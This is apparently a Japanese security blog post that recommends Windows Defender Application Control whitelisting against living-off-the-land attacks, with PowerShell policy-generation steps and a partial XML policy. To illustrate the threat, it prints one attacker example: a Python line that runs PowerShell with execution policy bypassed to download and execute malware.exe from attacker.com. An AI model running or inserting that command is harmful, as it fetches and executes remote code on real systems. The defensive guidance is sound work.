現場のエンジニア諸君、今日も泥臭いインシデント対応に追われていないか？
セキュリティの教科書には「OSを最新に保て」「アンチウイルスを入れろ」と書かれているが、そんなものは現代の標的型攻撃の前では「気休め」に過ぎない。特にWindows環境における攻撃者の手口は、正規のツールを悪用する「Living off the Land (LotL)」へと完全にシフトしている。
今日は、そんな攻撃者の常套手段を根底から封じ込める、Windows Defender Application Control (WDAC) について深掘りする。
—
なぜ「アンチウイルス」だけでは防げないのか
攻撃者は、わざわざ検知されやすい自作のマルウェアなど持ち込まない。Windows標準の powershell.exe や wscript.exe、あるいは信頼された署名入りの古いバイナリを悪用する。
例えば、攻撃者が権限昇格後に実行するペイロードは、以下のような単純なスクリプトであることが多い。
# 攻撃者が仕掛ける悪意あるPythonスクリプトの例
import os
# システムの重要なバイナリを隠蔽して外部通信を確立する
os.system("powershell -ExecutionPolicy Bypass -Command 'Invoke-WebRequest -Uri http://attacker.com/malware.exe -OutFile C:\\ProgramData\\update.exe; C:\\ProgramData\\update.exe'")アンチウイルスソフトは「既知のシグネチャ」に依存しているため、正規のインタープリタ（python.exe）が動く限り、その中身の悪意までは追いきれないことが多い。ここで登場するのが、WDACによる実行制御だ。
—
WDACの核心：ホワイトリストという「絶対的な壁」
WDACは、「許可されていないバイナリは、たとえ何者であろうと1ビットも実行させない」という設計思想だ。これを導入すると、攻撃者がいくら巧妙なスクリプトを持ち込んでも、実行時にカーネルレベルで拒絶される。
WDAC導入の泥臭いステップ
WDACの設定は、XML形式のポリシーを定義し、それをバイナリ形式に変換してシステムに適用するというプロセスを辿る。設定をミスるとOSが起動しなくなる（いわゆる「文鎮化」）リスクがあるため、必ずテスト環境で検証してくれ。
1. ポリシーの生成（PowerShell）
まずは、現在の信頼できる環境をスキャンしてベースラインを作る。
# 管理者権限で実行
# 現在のシステム上の署名済みバイナリを許可リストに追加するベースポリシーを作成
New-CIPolicy -Level PcaCertificate -FilePath .\BasePolicy.xml -UserPEs2. ポリシーの編集と署名
生成された BasePolicy.xml を直接開いて確認してほしい。ここには「どの証明書が信頼されているか」が記述されている。実務では、このXMLに自社のCI/CD環境や、特定の署名済みアプリケーションのルールを追記していく。
実践：WDACを強制するための重要設定（XMLの一部）
WDACポリシー内で、特に重要なのは「スクリプトの実行制限」だ。これを記述しないと、スクリプト言語による攻撃を許してしまう。
<!-- WDACポリシー内のスクリプト実行制御ルール -->
<FileRules>
<!-- 署名されていないスクリプトの実行を全面的に禁止 -->
<Allow ID="ID_ALLOW_MSFT_SIGNERS" FriendlyName="Microsoft署名済み" ... />
<Deny ID="ID_DENY_UNTRUSTED_SCRIPTS" FriendlyName="未署名スクリプト禁止" />
</FileRules>
<Deployment>
<!-- 監査モードではなく、強制モード(Enforced)で適用 -->
<Mode>Enforced</Mode>
</Deployment>—
開発者が知るべき「運用上の罠」
WDACを導入すると、開発チームから必ず悲鳴が上がる。「npm install でダウンロードしたバイナリが動かない」「デバッグ中のツールが起動しない」といった類のものだ。
ここで「じゃあ例外を緩めよう」と妥協してはいけない。セキュリティ責任者としての腕の見せ所は、「証明書の管理」を開発プロセスに組み込むことだ。
1. 社内署名基盤の構築: 自社の開発ツールやスクリプトには、社内のプライベートCAでコード署名を行う。
2. WDACポリシーのCI/CD統合: 開発パイプラインの最終段階で、署名済みバイナリのみがリリースされるようにフローを自動化する。
3. 監査ログの監視: Microsoft-Windows-CodeIntegrity/Operational ログをSIEM（SplunkやAzure Sentinel等）に飛ばし、拒否された実行ログを毎日チェックする。
—
最後に：防御は「穴」を塞ぐことではない
WDACを導入することは、単なる設定作業ではない。組織全体の「信頼の境界線」を明確にするプロセスだ。
「何が実行されてもおかしくない」という前提から、「許可したもの以外は一切動かない」という前提へシフトする。この設計思想を持てば、仮にWebアプリケーションの脆弱性（RCE等）を突かれたとしても、攻撃者はその後の権限昇格やバックドアの設置といったステップで必ず壁に突き当たる。
エンジニア諸君、まずは自分の開発環境で「監査モード」から始めてみてくれ。何が動いていて、何が動くべきでないのか。その可視化こそが、最強の要塞化への第一歩だ。
健闘を祈る。何かあればいつでも相談してくれ。
コメント